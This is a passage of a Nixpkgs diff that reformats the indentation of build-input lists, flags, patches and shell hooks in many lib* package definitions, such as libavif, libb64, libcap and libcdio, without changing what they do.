+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+    attr
+    e2fsprogs
+  ]
+  ++ lib.optional xarSupport libxml2;
 
   # Without this, pkg-config-based dependencies are unhappy
   propagatedBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/li/libargon2/package.nix b/pkgs/by-name/li/libargon2/package.nix
index 0dbedc23577c..09117757372e 100644
--- a/pkgs/by-name/li/libargon2/package.nix
+++ b/pkgs/by-name/li/libargon2/package.nix
@@ -29,18 +29,17 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  makeFlags =
-    [
-      "AR=${stdenv.cc.targetPrefix}ar" # Fix cross-compilation
-      "PREFIX=${placeholder "out"}"
-      "ARGON2_VERSION=${version}"
-      "LIBRARY_REL=lib"
-      "PKGCONFIG_REL=lib"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "LIBRARIES=$(LIB_ST)"
-      "LINKED_LIB_EXT="
-    ];
+  makeFlags = [
+    "AR=${stdenv.cc.targetPrefix}ar" # Fix cross-compilation
+    "PREFIX=${placeholder "out"}"
+    "ARGON2_VERSION=${version}"
+    "LIBRARY_REL=lib"
+    "PKGCONFIG_REL=lib"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "LIBRARIES=$(LIB_ST)"
+    "LINKED_LIB_EXT="
+  ];
 
   meta = with lib; {
     description = "Key derivation function that was selected as the winner of the Password Hashing Competition in July 2015";
diff --git a/pkgs/by-name/li/libass/package.nix b/pkgs/by-name/li/libass/package.nix
index 68a443b16e66..78955fdbb3e4 100644
--- a/pkgs/by-name/li/libass/package.nix
+++ b/pkgs/by-name/li/libass/package.nix
@@ -39,16 +39,15 @@ stdenv.mkDerivation rec {
     yasm
   ];
 
-  buildInputs =
-    [
-      freetype
-      fribidi
-      harfbuzz
-    ]
-    ++ lib.optional fontconfigSupport fontconfig
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    freetype
+    fribidi
+    harfbuzz
+  ]
+  ++ lib.optional fontconfigSupport fontconfig
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   meta = with lib; {
     description = "Portable ASS/SSA subtitle renderer";
diff --git a/pkgs/by-name/li/libavif/package.nix b/pkgs/by-name/li/libavif/package.nix
index b6855d280c1d..2e1b69de3286 100644
--- a/pkgs/by-name/li/libavif/package.nix
+++ b/pkgs/by-name/li/libavif/package.nix
@@ -103,19 +103,18 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  postInstall =
-    ''
-      GDK_PIXBUF_MODULEDIR=${gdkPixbufModuleDir} \
-      GDK_PIXBUF_MODULE_FILE=${gdkPixbufModuleFile} \
-      gdk-pixbuf-query-loaders --update-cache
+  postInstall = ''
+    GDK_PIXBUF_MODULEDIR=${gdkPixbufModuleDir} \
+    GDK_PIXBUF_MODULE_FILE=${gdkPixbufModuleFile} \
+    gdk-pixbuf-query-loaders --update-cache
 
-    ''
-    # Cross-compiled gdk-pixbuf doesn't support thumbnailers
-    + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
-      mkdir -p "$out/bin"
-      makeWrapper ${gdk-pixbuf}/bin/gdk-pixbuf-thumbnailer "$out/libexec/gdk-pixbuf-thumbnailer-avif" \
-        --set GDK_PIXBUF_MODULE_FILE ${gdkPixbufModuleFile}
-    '';
+  ''
+  # Cross-compiled gdk-pixbuf doesn't support thumbnailers
+  + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+    mkdir -p "$out/bin"
+    makeWrapper ${gdk-pixbuf}/bin/gdk-pixbuf-thumbnailer "$out/libexec/gdk-pixbuf-thumbnailer-avif" \
+      --set GDK_PIXBUF_MODULE_FILE ${gdkPixbufModuleFile}
+  '';
 
   meta = with lib; {
     description = "C implementation of the AV1 Image File Format";
diff --git a/pkgs/by-name/li/libb64/package.nix b/pkgs/by-name/li/libb64/package.nix
index 2f73c45d0d9e..398c430cc623 100644
--- a/pkgs/by-name/li/libb64/package.nix
+++ b/pkgs/by-name/li/libb64/package.nix
@@ -16,39 +16,38 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-9loDftr769qnIi00MueO86kjha2EiG9pnCLogp0Iq3c=";
   };
 
-  patches =
-    [
-      # Fix parallel build failure: https://github.com/libb64/libb64/pull/9
-      #  make[1]: *** No rule to make target 'libb64.a', needed by 'c-example1'.  Stop.
-      (fetchpatch {
-        name = "parallel-make.patch";
-        url = "https://github.com/libb64/libb64/commit/4fe47c052e9123da8f751545deb48be08c3411f6.patch";
-        sha256 = "18b3np3gpyzimqmk6001riqv5n70wfbclky6zzsrvj5zl1dj4ljf";
-      })
-      # Fix i686-linux build failure.
-      (fetchpatch {
-        name = "elif.patch";
-        url = "https://github.com/libb64/libb64/commit/819e43c8b34261ea3ee694bdc27865a033966083.patch";
-        hash = "sha256-r2jI6Q3rWDtArLlkAuyy7vcjsuRvX+2fBd5yk8XOMcc";
-      })
-      (fetchpatch {
-        name = "size_t.patch";
-        url = "https://github.com/libb64/libb64/commit/b5edeafc89853c48fa41a4c16393a1fdc8638ab6.patch";
-        hash = "sha256-+bqfOOlT/t0FLQEMHuxW1BxJcx9rk0yYM3wD43mcymo";
-      })
-      # Fix build with Clang 16.
-      # https://github.com/libb64/libb64/pull/10
-      (fetchpatch {
-        name = "use-proper-function-prototype-for-main.patch";
-        url = "https://github.com/libb64/libb64/commit/98eaf510f40e384b32c01ad4bd5c3a697fdd8560.patch";
-        hash = "sha256-CGslJUw0og/bBBirLm0J5Q7cf2WW/vniVAkXHlb6lbQ=";
-      })
-    ]
-    ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) (fetchpatch {
-      name = "0001-example-Do-not-run-the-tests.patch";
-      url = "https://cgit.openembedded.org/meta-openembedded/plain/meta-oe/recipes-support/libb64/libb64/0001-example-Do-not-run-the-tests.patch?id=484e0de1e4ee107f21ae2a5c5f976ed987978baf";
-      sha256 = "sha256-KTsiIWJe66BKlu/A43FWfW0XAu4E7lWX/RY4NITRrm4=";
-    });
+  patches = [
+    # Fix parallel build failure: https://github.com/libb64/libb64/pull/9
+    #  make[1]: *** No rule to make target 'libb64.a', needed by 'c-example1'.  Stop.
+    (fetchpatch {
+      name = "parallel-make.patch";
+      url = "https://github.com/libb64/libb64/commit/4fe47c052e9123da8f751545deb48be08c3411f6.patch";
+      sha256 = "18b3np3gpyzimqmk6001riqv5n70wfbclky6zzsrvj5zl1dj4ljf";
+    })
+    # Fix i686-linux build failure.
+    (fetchpatch {
+      name = "elif.patch";
+      url = "https://github.com/libb64/libb64/commit/819e43c8b34261ea3ee694bdc27865a033966083.patch";
+      hash = "sha256-r2jI6Q3rWDtArLlkAuyy7vcjsuRvX+2fBd5yk8XOMcc";
+    })
+    (fetchpatch {
+      name = "size_t.patch";
+      url = "https://github.com/libb64/libb64/commit/b5edeafc89853c48fa41a4c16393a1fdc8638ab6.patch";
+      hash = "sha256-+bqfOOlT/t0FLQEMHuxW1BxJcx9rk0yYM3wD43mcymo";
+    })
+    # Fix build with Clang 16.
+    # https://github.com/libb64/libb64/pull/10
+    (fetchpatch {
+      name = "use-proper-function-prototype-for-main.patch";
+      url = "https://github.com/libb64/libb64/commit/98eaf510f40e384b32c01ad4bd5c3a697fdd8560.patch";
+      hash = "sha256-CGslJUw0og/bBBirLm0J5Q7cf2WW/vniVAkXHlb6lbQ=";
+    })
+  ]
+  ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) (fetchpatch {
+    name = "0001-example-Do-not-run-the-tests.patch";
+    url = "https://cgit.openembedded.org/meta-openembedded/plain/meta-oe/recipes-support/libb64/libb64/0001-example-Do-not-run-the-tests.patch?id=484e0de1e4ee107f21ae2a5c5f976ed987978baf";
+    sha256 = "sha256-KTsiIWJe66BKlu/A43FWfW0XAu4E7lWX/RY4NITRrm4=";
+  });
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/libbladeRF/package.nix b/pkgs/by-name/li/libbladeRF/package.nix
index ccf75f7e7aab..bb76582df45e 100644
--- a/pkgs/by-name/li/libbladeRF/package.nix
+++ b/pkgs/by-name/li/libbladeRF/package.nix
@@ -38,13 +38,12 @@ stdenv.mkDerivation rec {
     help2man
   ];
   # ncurses used due to https://github.com/Nuand/bladeRF/blob/ab4fc672c8bab4f8be34e8917d3f241b1d52d0b8/host/utilities/bladeRF-cli/CMakeLists.txt#L208
-  buildInputs =
-    [
-      tecla
-      libusb1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ ncurses ];
+  buildInputs = [
+    tecla
+    libusb1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ ncurses ];
 
   # Fixup shebang
   prePatch = "patchShebangs host/utilities/bladeRF-cli/src/cmd/doc/generate.bash";
@@ -54,15 +53,14 @@ stdenv.mkDerivation rec {
     sed -i 's/$(hostname)/hostname/' host/utilities/bladeRF-cli/src/cmd/doc/generate.bash
   '';
 
-  cmakeFlags =
-    [
-      "-DBUILD_DOCUMENTATION=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DUDEV_RULES_PATH=etc/udev/rules.d"
-      "-DINSTALL_UDEV_RULES=ON"
-      "-DBLADERF_GROUP=bladerf"
-    ];
+  cmakeFlags = [
+    "-DBUILD_DOCUMENTATION=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DUDEV_RULES_PATH=etc/udev/rules.d"
+    "-DINSTALL_UDEV_RULES=ON"
+    "-DBLADERF_GROUP=bladerf"
+  ];
 
   env = lib.optionalAttrs stdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-error=unused-but-set-variable";
diff --git a/pkgs/by-name/li/libbluray/package.nix b/pkgs/by-name/li/libbluray/package.nix
index 9ab07b4dbfdb..684c53c62d00 100644
--- a/pkgs/by-name/li/libbluray/package.nix
+++ b/pkgs/by-name/li/libbluray/package.nix
@@ -31,19 +31,21 @@ stdenv.mkDerivation rec {
     hash = "sha256-R4/9aKD13ejvbKmJt/A1taCiLFmRQuXNP/ewO76+Xys=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      autoreconfHook
-    ]
-    ++ lib.optionals withJava [
-      jdk17
-      ant
-      stripJavaArchivesHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    autoreconfHook
+  ]
+  ++ lib.optionals withJava [
+    jdk17
+    ant
+    stripJavaArchivesHook
+  ];
 
-  buildInputs =
-    [ fontconfig ] ++ lib.optional withMetadata libxml2 ++ lib.optional withFonts freetype;
+  buildInputs = [
+    fontconfig
+  ]
+  ++ lib.optional withMetadata libxml2
+  ++ lib.optional withFonts freetype;
 
   propagatedBuildInputs = lib.optional withAACS libaacs;
 
diff --git a/pkgs/by-name/li/libcaca/package.nix b/pkgs/by-name/li/libcaca/package.nix
index d72b124854f0..e652893ac182 100644
--- a/pkgs/by-name/li/libcaca/package.nix
+++ b/pkgs/by-name/li/libcaca/package.nix
@@ -27,16 +27,15 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      ncurses
-      zlib
-      (imlib2.override { inherit x11Support; })
-    ]
-    ++ lib.optionals x11Support [
-      xorg.libX11
-      xorg.libXext
-    ];
+  buildInputs = [
+    ncurses
+    zlib
+    (imlib2.override { inherit x11Support; })
+  ]
+  ++ lib.optionals x11Support [
+    xorg.libX11
+    xorg.libXext
+  ];
 
   outputs = [
     "bin"
@@ -45,15 +44,14 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  configureFlags =
-    [
-      (if x11Support then "--enable-x11" else "--disable-x11")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Suppresses a build failure building Cocoa support due to accessing private ivar `_running`,
-      # which no longer available.
-      (lib.enableFeature false "cocoa")
-    ];
+  configureFlags = [
+    (if x11Support then "--enable-x11" else "--disable-x11")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Suppresses a build failure building Cocoa support due to accessing private ivar `_running`,
+    # which no longer available.
+    (lib.enableFeature false "cocoa")
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString (!x11Support) "-DX_DISPLAY_MISSING";
 
diff --git a/pkgs/by-name/li/libcamera/package.nix b/pkgs/by-name/li/libcamera/package.nix
index 323d49b427c3..56d7fb920bef 100644
--- a/pkgs/by-name/li/libcamera/package.nix
+++ b/pkgs/by-name/li/libcamera/package.nix
@@ -62,37 +62,36 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  buildInputs =
-    [
-      # IPA and signing
-      openssl
+  buildInputs = [
+    # IPA and signing
+    openssl
 
-      # gstreamer integration
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
+    # gstreamer integration
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
 
-      # cam integration
-      libevent
-      libdrm
+    # cam integration
+    libevent
+    libdrm
 
-      # hotplugging
-      systemd
+    # hotplugging
+    systemd
 
-      # pycamera
-      python3Packages.pybind11
+    # pycamera
+    python3Packages.pybind11
 
-      # yamlparser
-      libyaml
+    # yamlparser
+    libyaml
 
-      gtest
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch [ libpisp ]
-    ++ lib.optionals withTracing [ lttng-ust ]
-    ++ lib.optionals withQcam [
-      libtiff
-      qt6.qtbase
-      qt6.qttools
-    ];
+    gtest
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch [ libpisp ]
+  ++ lib.optionals withTracing [ lttng-ust ]
+  ++ lib.optionals withQcam [
+    libtiff
+    qt6.qtbase
+    qt6.qttools
+  ];
 
   nativeBuildInputs = [
     meson
@@ -106,7 +105,8 @@ stdenv.mkDerivation rec {
     graphviz
     doxygen
     openssl
-  ] ++ lib.optional withQcam qt6.wrapQtAppsHook;
+  ]
+  ++ lib.optional withQcam qt6.wrapQtAppsHook;
 
   mesonFlags = [
     "-Dv4l2=true"
diff --git a/pkgs/by-name/li/libcanberra/package.nix b/pkgs/by-name/li/libcanberra/package.nix
index 524a5cb908e7..ca69d35f0b76 100644
--- a/pkgs/by-name/li/libcanberra/package.nix
+++ b/pkgs/by-name/li/libcanberra/package.nix
@@ -33,48 +33,47 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libpulseaudio
-      libvorbis
-      libtool # in buildInputs rather than nativeBuildInputs since libltdl is used (not libtool itself)
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-    ])
-    ++ lib.optional (gtkSupport == "gtk2") gtk2-x11
-    ++ lib.optional (gtkSupport == "gtk3") gtk3-x11
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      systemd
-    ]
-    ++ lib.optional withAlsa alsa-lib;
+  buildInputs = [
+    libpulseaudio
+    libvorbis
+    libtool # in buildInputs rather than nativeBuildInputs since libltdl is used (not libtool itself)
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+  ])
+  ++ lib.optional (gtkSupport == "gtk2") gtk2-x11
+  ++ lib.optional (gtkSupport == "gtk3") gtk3-x11
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    systemd
+  ]
+  ++ lib.optional withAlsa alsa-lib;
 
-  configureFlags =
-    [ "--disable-oss" ]
-    ++ lib.optional stdenv.hostPlatform.isLinux "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system";
+  configureFlags = [
+    "--disable-oss"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system";
 
-  patches =
-    [
-      (fetchpatch {
-        name = "0001-gtk-Don-t-assume-all-GdkDisplays-are-GdkX11Displays-.patch";
-        url = "http://git.0pointer.net/libcanberra.git/patch/?id=c0620e432650e81062c1967cc669829dbd29b310";
-        sha256 = "0rc7zwn39yxzxp37qh329g7375r5ywcqcaak8ryd0dgvg8m5hcx9";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (fetchpatch {
-        url = "https://github.com/macports/macports-ports/raw/5a7965dfea7727d1ceedee46c7b0ccee9cb23468/audio/libcanberra/files/patch-configure.diff";
-        sha256 = "sha256-pEJy1krciUEg5BFIS8FJ4BubjfS/nt9aqi6BLnS1+4M=";
-        extraPrefix = "";
-      })
-      (fetchpatch {
-        url = "https://github.com/macports/macports-ports/raw/5a7965dfea7727d1ceedee46c7b0ccee9cb23468/audio/libcanberra/files/dynamic_lookup-11.patch";
-        sha256 = "sha256-nUjha2pKh5VZl0ZZzcr9NTo1TVuMqF4OcLiztxW+ofQ=";
-        extraPrefix = "";
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      name = "0001-gtk-Don-t-assume-all-GdkDisplays-are-GdkX11Displays-.patch";
+      url = "http://git.0pointer.net/libcanberra.git/patch/?id=c0620e432650e81062c1967cc669829dbd29b310";
+      sha256 = "0rc7zwn39yxzxp37qh329g7375r5ywcqcaak8ryd0dgvg8m5hcx9";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (fetchpatch {
+      url = "https://github.com/macports/macports-ports/raw/5a7965dfea7727d1ceedee46c7b0ccee9cb23468/audio/libcanberra/files/patch-configure.diff";
+      sha256 = "sha256-pEJy1krciUEg5BFIS8FJ4BubjfS/nt9aqi6BLnS1+4M=";
+      extraPrefix = "";
+    })
+    (fetchpatch {
+      url = "https://github.com/macports/macports-ports/raw/5a7965dfea7727d1ceedee46c7b0ccee9cb23468/audio/libcanberra/files/dynamic_lookup-11.patch";
+      sha256 = "sha256-nUjha2pKh5VZl0ZZzcr9NTo1TVuMqF4OcLiztxW+ofQ=";
+      extraPrefix = "";
+    })
+  ];
 
   postInstall = ''
     for f in $out/lib/*.la; do
diff --git a/pkgs/by-name/li/libcap/package.nix b/pkgs/by-name/li/libcap/package.nix
index 353e12cdb455..535435ff624f 100644
--- a/pkgs/by-name/li/libcap/package.nix
+++ b/pkgs/by-name/li/libcap/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
     "lib"
     "man"
     "doc"
-  ] ++ lib.optional usePam "pam";
+  ]
+  ++ lib.optional usePam "pam";
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
@@ -52,59 +53,56 @@ stdenv.mkDerivation rec {
 
   buildInputs = lib.optional usePam pam;
 
-  makeFlags =
-    [
-      "lib=lib"
-      "PAM_CAP=${if usePam then "yes" else "no"}"
-      "BUILD_CC=$(CC_FOR_BUILD)"
-      "CC:=$(CC)"
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ]
-    ++ lib.optionals withGo [
-      "GOLANG=yes"
-      ''GOCACHE=''${TMPDIR}/go-cache''
-      "GOFLAGS=-trimpath"
-      "GOARCH=${pkgsBuildHost.go.GOARCH}"
-      "GOOS=${pkgsBuildHost.go.GOOS}"
-    ]
-    ++ lib.optionals isStatic [
-      "SHARED=no"
-      "LIBCSTATIC=yes"
-    ];
+  makeFlags = [
+    "lib=lib"
+    "PAM_CAP=${if usePam then "yes" else "no"}"
+    "BUILD_CC=$(CC_FOR_BUILD)"
+    "CC:=$(CC)"
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ]
+  ++ lib.optionals withGo [
+    "GOLANG=yes"
+    ''GOCACHE=''${TMPDIR}/go-cache''
+    "GOFLAGS=-trimpath"
+    "GOARCH=${pkgsBuildHost.go.GOARCH}"
+    "GOOS=${pkgsBuildHost.go.GOOS}"
+  ]
+  ++ lib.optionals isStatic [
+    "SHARED=no"
+    "LIBCSTATIC=yes"
+  ];
 
-  postPatch =
-    ''
-      patchShebangs ./progs/mkcapshdoc.sh
+  postPatch = ''
+    patchShebangs ./progs/mkcapshdoc.sh
 
-      # use full path to bash
-      substituteInPlace progs/capsh.c --replace "/bin/bash" "${runtimeShell}"
+    # use full path to bash
+    substituteInPlace progs/capsh.c --replace "/bin/bash" "${runtimeShell}"
 
-      # set prefixes
-      substituteInPlace Make.Rules \
-        --replace 'prefix=/usr' "prefix=$lib" \
-        --replace 'exec_prefix=' "exec_prefix=$out" \
-        --replace 'lib_prefix=$(exec_prefix)' "lib_prefix=$lib" \
-        --replace 'inc_prefix=$(prefix)' "inc_prefix=$dev" \
-        --replace 'man_prefix=$(prefix)' "man_prefix=$doc"
-    ''
-    + lib.optionalString withGo ''
-      # disable cross compilation for artifacts which are run as part of the build
-      substituteInPlace go/Makefile \
-        --replace-fail '$(GO) run' 'GOOS= GOARCH= $(GO) run'
-    '';
+    # set prefixes
+    substituteInPlace Make.Rules \
+      --replace 'prefix=/usr' "prefix=$lib" \
+      --replace 'exec_prefix=' "exec_prefix=$out" \
+      --replace 'lib_prefix=$(exec_prefix)' "lib_prefix=$lib" \
+      --replace 'inc_prefix=$(prefix)' "inc_prefix=$dev" \
+      --replace 'man_prefix=$(prefix)' "man_prefix=$doc"
+  ''
+  + lib.optionalString withGo ''
+    # disable cross compilation for artifacts which are run as part of the build
+    substituteInPlace go/Makefile \
+      --replace-fail '$(GO) run' 'GOOS= GOARCH= $(GO) run'
+  '';
 
   installFlags = [ "RAISE_SETFCAP=no" ];
 
-  postInstall =
-    ''
-      ${lib.optionalString (!isStatic) ''rm "$lib"/lib/*.a''}
-      mkdir -p "$doc/share/doc/${pname}-${version}"
-      cp License "$doc/share/doc/${pname}-${version}/"
-    ''
-    + lib.optionalString usePam ''
-      mkdir -p "$pam/lib/security"
-      mv "$lib"/lib/security "$pam/lib"
-    '';
+  postInstall = ''
+    ${lib.optionalString (!isStatic) ''rm "$lib"/lib/*.a''}
+    mkdir -p "$doc/share/doc/${pname}-${version}"
+    cp License "$doc/share/doc/${pname}-${version}/"
+  ''
+  + lib.optionalString usePam ''
+    mkdir -p "$pam/lib/security"
+    mv "$lib"/lib/security "$pam/lib"
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/li/libcdio-paranoia/package.nix b/pkgs/by-name/li/libcdio-paranoia/package.nix
index 90a5782b3520..4ac39a32362f 100644
--- a/pkgs/by-name/li/libcdio-paranoia/package.nix
+++ b/pkgs/by-name/li/libcdio-paranoia/package.nix
@@ -23,11 +23,12 @@ stdenv.mkDerivation rec {
     autoreconfHook
     pkg-config
   ];
-  buildInputs =
-    [ libcdio ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libcdio
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   configureFlags = lib.optionals stdenv.hostPlatform.isDarwin [ "--disable-ld-version-script" ];
 
diff --git a/pkgs/by-name/li/libcdio/package.nix b/pkgs/by-name/li/libcdio/package.nix
index 94a8d43df4b4..c40b17a5d7bb 100644
--- a/pkgs/by-name/li/libcdio/package.nix
+++ b/pkgs/by-name/li/libcdio/package.nix
@@ -29,38 +29,36 @@ stdenv.mkDerivation (finalAttrs: {
     NIX_CFLAGS_COMPILE = "-D_LARGEFILE64_SOURCE";
   };
 
-  postPatch =
-    ''
-      patchShebangs .
-      echo "
-      @set UPDATED 1 January 1970
-      @set UPDATED-MONTH January 1970
-      @set EDITION ${finalAttrs.version}
-      @set VERSION ${finalAttrs.version}
-      " > doc/version.texi
-    ''
-    + lib.optionalString (!withMan) ''
-      substituteInPlace src/Makefile.am \
-        --replace-fail 'man_cd_drive     = cd-drive.1' "" \
-        --replace-fail 'man_cd_info     = cd-info.1' "" \
-        --replace-fail 'man_cd_read     = cd-read.1' "" \
-        --replace-fail 'man_iso_info     = iso-info.1' "" \
-        --replace-fail 'man_iso_read     = iso-read.1' ""
-    '';
+  postPatch = ''
+    patchShebangs .
+    echo "
+    @set UPDATED 1 January 1970
+    @set UPDATED-MONTH January 1970
+    @set EDITION ${finalAttrs.version}
+    @set VERSION ${finalAttrs.version}
+    " > doc/version.texi
+  ''
+  + lib.optionalString (!withMan) ''
+    substituteInPlace src/Makefile.am \
+      --replace-fail 'man_cd_drive     = cd-drive.1' "" \
+      --replace-fail 'man_cd_info     = cd-info.1' "" \
+      --replace-fail 'man_cd_read     = cd-read.1' "" \
+      --replace-fail 'man_iso_info     = iso-info.1' "" \
+      --replace-fail 'man_iso_read     = iso-read.1' ""
+  '';
 
   configureFlags = [
     (lib.enableFeature withMan "maintainer-mode")
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      autoreconfHook
-      texinfo
-    ]
-    ++ lib.optionals withMan [
-      help2man
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    autoreconfHook
+    texinfo
+  ]
+  ++ lib.optionals withMan [
+    help2man
+  ];
 
   buildInputs = [
     libcddb
@@ -72,16 +70,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
-  outputs =
-    [
-      "out"
-      "lib"
-      "dev"
-      "info"
-    ]
-    ++ lib.optionals withMan [
-      "man"
-    ];
+  outputs = [
+    "out"
+    "lib"
+    "dev"
+    "info"
+  ]
+  ++ lib.optionals withMan [
+    "man"
+  ];
 
   passthru = {
     tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
diff --git a/pkgs/by-name/li/libchamplain/package.nix b/pkgs/by-name/li/libchamplain/package.nix
index cef91831f668..a37ccdd95264 100644
--- a/pkgs/by-name/li/libchamplain/package.nix
+++ b/pkgs/by-name/li/libchamplain/package.nix
@@ -28,26 +28,26 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
     sha256 = "qRXNFyoMUpRMVXn8tGg/ioeMVxv16SglS12v78cn5ac=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      vala
-    ]
-    ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
-      gtk-doc
-      docbook_xsl
-      docbook_xml_dtd_412
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    vala
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
+    gtk-doc
+    docbook_xsl
+    docbook_xml_dtd_412
+  ];
 
   buildInputs = [
     sqlite
diff --git a/pkgs/by-name/li/libcloudproviders/package.nix b/pkgs/by-name/li/libcloudproviders/package.nix
index c69a9ecc6cee..128aba939454 100644
--- a/pkgs/by-name/li/libcloudproviders/package.nix
+++ b/pkgs/by-name/li/libcloudproviders/package.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
   ];
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      vala
-      gtk-doc
-      docbook_xsl
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    vala
+    gtk-doc
+    docbook_xsl
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [ glib ];
 
diff --git a/pkgs/by-name/li/libdaemon/package.nix b/pkgs/by-name/li/libdaemon/package.nix
index 15b3790a3c94..7be36bcece73 100644
--- a/pkgs/by-name/li/libdaemon/package.nix
+++ b/pkgs/by-name/li/libdaemon/package.nix
@@ -21,12 +21,13 @@ stdenv.mkDerivation rec {
 
   patches = [ ./fix-includes.patch ];
 
-  configureFlags =
-    [ "--disable-lynx" ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # Can't run this test while cross-compiling
-      "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
-    ];
+  configureFlags = [
+    "--disable-lynx"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # Can't run this test while cross-compiling
+    "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
+  ];
 
   meta = {
     description = "Lightweight C library that eases the writing of UNIX daemons";
diff --git a/pkgs/by-name/li/libdazzle/package.nix b/pkgs/by-name/li/libdazzle/package.nix
index 484d2968752f..2c967eeb3125 100644
--- a/pkgs/by-name/li/libdazzle/package.nix
+++ b/pkgs/by-name/li/libdazzle/package.nix
@@ -35,26 +35,25 @@ stdenv.mkDerivation rec {
     sha256 = "PNPkXrbiaAywXVLh6A3Y+dWdR2UhLw4o945sF4PRjq4=";
   };
 
-  nativeBuildInputs =
-    [
-      ninja
-      meson
-      pkg-config
-      vala
-      gobject-introspection
-      libxml2
-      gtk-doc
-      docbook_xsl
-      docbook_xml_dtd_43
-      dbus
-      glib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xvfb-run
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    ninja
+    meson
+    pkg-config
+    vala
+    gobject-introspection
+    libxml2
+    gtk-doc
+    docbook_xsl
+    docbook_xml_dtd_43
+    dbus
+    glib
+  ]
